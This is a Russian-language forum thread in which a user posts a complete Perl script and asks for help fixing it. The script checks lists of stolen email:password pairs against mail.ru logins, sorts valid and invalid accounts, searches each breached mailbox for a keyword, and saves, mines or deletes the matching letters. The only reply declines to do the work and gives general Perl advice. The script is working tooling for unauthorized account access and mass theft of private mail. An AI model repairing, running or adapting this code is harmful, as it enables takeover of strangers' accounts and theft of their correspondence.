Xpoint
   [напомнить пароль]

Помогите наладить работу парсера

Метки: [без меток]
[удл]
2014-10-09 11:12:13 [обр] Affterday[досье]
сообщение промодерировано

Есть вот такой парсер ящиков

#!/usr/bin/perl
 
################# By Fepsis for forum.antichat.ru #################
 
use threads;
use threads::shared;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use HTML::Entities;
 
 
################# Config ###############
 
my $t = 1;          # число потоков
my $modCheckAcc = 0;        # если = 1 - сохраняет валидные в good.txt, не валидные в bad.txt
my $modCheckMess = 1;       # если = 1 - ищет в ящике письма, соответствующие запросу $query, если = 0, то нижеперечисленные функции не будут работать
 
     my $query = 'avito';   # запрос для поиска
 
          my $formatTxt = 0;            # если = 1 - переводит письма в текст (удаляет html теги)
          my $modSaveMess = 1;      # если = 1 - сохраняет найденные письма в папку 'mails'
          my $modDelMess = 0;       # если = 1 - удаляет найденные письма
          my $modSearch = 0;            # если = 1 - ищет в найденных письмах соответствия регулярке $pattern, результат сохраняет в 'SearchResults.txt'
 
               my $pattern = qr/Пользователь (.+?) написал вам сообщение/;      # эта регулярка вытащит "%username%" из строк "Пользователь %username% написал вам сообщение"
 
############### End Config ##############
 
 
my @bas : shared;
my @threads;
 
my $fileBad = 'bad.txt';
my $fileGood = 'good.txt';
my $srchRes = 'SearchResults.txt';
my $mailsDir = 'mails';
my $br = '<br>';
my $type = '.htm';
 
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);
 
open(BASE, 'base.txt');
chomp(@bas = <BASE>);
close(BASE);
 
 
sub logg
     {
    my ($data, $file) = @_;
    open(OUT, ">> ".$file);
    print OUT "$data\n";
    close(OUT);
     }
 
sub arbyte
     {
    my ($i) = @_;
 
    while(my $acc = shift(@bas))
         {
        print 'Thread #'.$i.': '.$acc."\n";
        my ($login, $domain, $pass) = $acc =~ /^(.+?)@(.+?):(.+?)$/;
 
        if (authorization($login, $domain, $pass))
             {
            if ($modCheckAcc == 1)
                 {
                logg($acc, $fileGood);
                 }
 
            if ($modCheckMess == 1)
                 {
                check_mess($query, $login, $domain, $pass);
                 }
             }
 
        else
             {
            if($modCheckAcc == 1) {logg($acc, $fileBad);}
             }
         }
 
 
     }
 
 
 
sub authorization
     {
    my ($login, $domain, $pass) = @_;
 
    $cookie_jar->clear();
 
    my $ex = $ua->request(POST 'http://win.mail.ru/cgi-bin/auth', ['Login' => $login, 'Domain' => $domain, 'Password' => $pass]);
    if ($ex->headers_as_string() =~/Set-Cookie: Mpop=/)
         {
        return 1;
         }
     }
 
 
sub check_mess
     {
    my ($query, $login, $domain, $pass) = @_;
 
 
    my ($ex, @messages, @tmpMess);
 
    my $j = 1;
    while (1)
         {
        $ex = $ua->request(GET 'http://e.mail.ru/cgi-bin/gosearch?q_query='.$query.'&page='.$j);
 
 
 
 
        if (my @tmpMess = $ex->content() =~ /type=\"checkbox\" name=\"id\" value=\"(.+?)\" \/><\/td>/g)
             {
            push(@messages, @tmpMess);
            $j++;
             }
 
        else {last;}
         }
 
 
    foreach (@messages)
         {
        $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/readmsg?id='.$_);
        my ($mess) = $ex->content() =~ /<base href=\"http:\/\/e\.mail\.ru\/cgi-bin\/\" \/>(.+?)<base href=\"http:\/\/e\.mail\.ru\/cgi-bin\/\" \/>/s;
 
        if ($formatTxt == 1)
             {
            $mess =~ s/<.+?>/ /g;
            $mess =~ s/\s+/ /g;
            decode_entities($mess);
            $br = "\n";
            $type = '.txt';
             }
 
        if ($modSearch == 1)
             {
            if ($mess =~ /$pattern/)
                 {
                $res = $1;
                logg($login.'@'.$domain.':'.$pass.' => '.$res, $srchRes);
                 }
             }
 
        if ($modSaveMess == 1)
             {
            logg('### begin ###'.$br.$mess.$br.'### end ###'.$br.$br, $mailsDir.'/'.$login.'#'.$domain.$type);
             }
            if ($modDelMess == 1)
             {
            $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/movemsg?remove&id='.$_);
             }
         }
     }
 
 
 
for my $i (1..$t)
     {
    push @threads, threads->create(\&arbyte, $i);
     }
 
 
foreach my $thread (@threads)
     {
    $thread->join();
     }

Помогите пожалуйста наладить его работу, чтобы он находил и складывал в папку "mails" письма ,содержащие контрольное слово (в примере "avito")
По уверению автора, изначально скрипт работал, но видимо, что то поменялось на mail.ru и парсить содержимое писем он перестал, хотя проверка на валидность работает отлично (проверял).

спустя 3 часа 45 минут [обр] Евгений Седов aka KPbIC(38/176)[досье]
Либо представьте минимальный проблемный код, либо пишите в "Вакансии".
спустя 17 часов [обр] Affterday[досье]
Я в перле не силен (то есть абсолютно). Поэтому прошу не кидать в меня камни сразу. Я так понимаю, что некорркектно в этом коде работает вот эта процедура выполнения поискового запроса.
sub check_mess
     {
    my ($query, $login, $domain, $pass) = @_;
 

    my ($ex, @messages, @tmpMess);
 
my $j = 1;
    while (1)
         {
        $ex = $ua->request(GET 'http://e.mail.ru/cgi-bin/gosearch?q_query='.$query.'&page='.$j);
 

 

        if (my @tmpMess = $ex->content() =~ /type=\"checkbox\" name=\"id\" value=\"(.+?)\" \/><\/td>/g)
             {
            push(@messages, @tmpMess);
            $j++;
             }
 
else {last;}
         }
 Я пробовал менять адрес страницы запроса - это ничего не дало. В браузере страница имеет вот такой адрес https://e.mail.ru/search/?q_query=avito&from_suggest=0&from_search=0
  Да , собственно, мне сами письма и не нужны, что бы сохранялись. Достаточно будет записать в текстовый файл имя ящика. Но это уже второостепенно...
 Помогите ,пж...
спустя 3 часа 14 минут [обр] Евгений Седов aka KPbIC(38/176)[досье]

Минимальный проблемный код
Синтаксис форматирования
http://search.cpan.org/~smueller/Data-Dumper-2.154/Dumper.pm

Не тратьте попусту свое время, никто бесплатно на этом форуме за вас вашу работу делать не станет. Либо учитесь и вам помогут, либо платите и сделают.

спустя 5 часов [обр] Affterday[досье]
Ок всем спасибо, закрываем
спустя 27 минут [обр] Евгений Седов aka KPbIC(38/176)[досье]
Вдогонку: всегда используйте use strict; use warnings;
Powered by POEM™ Engine Copyright © 2002-2005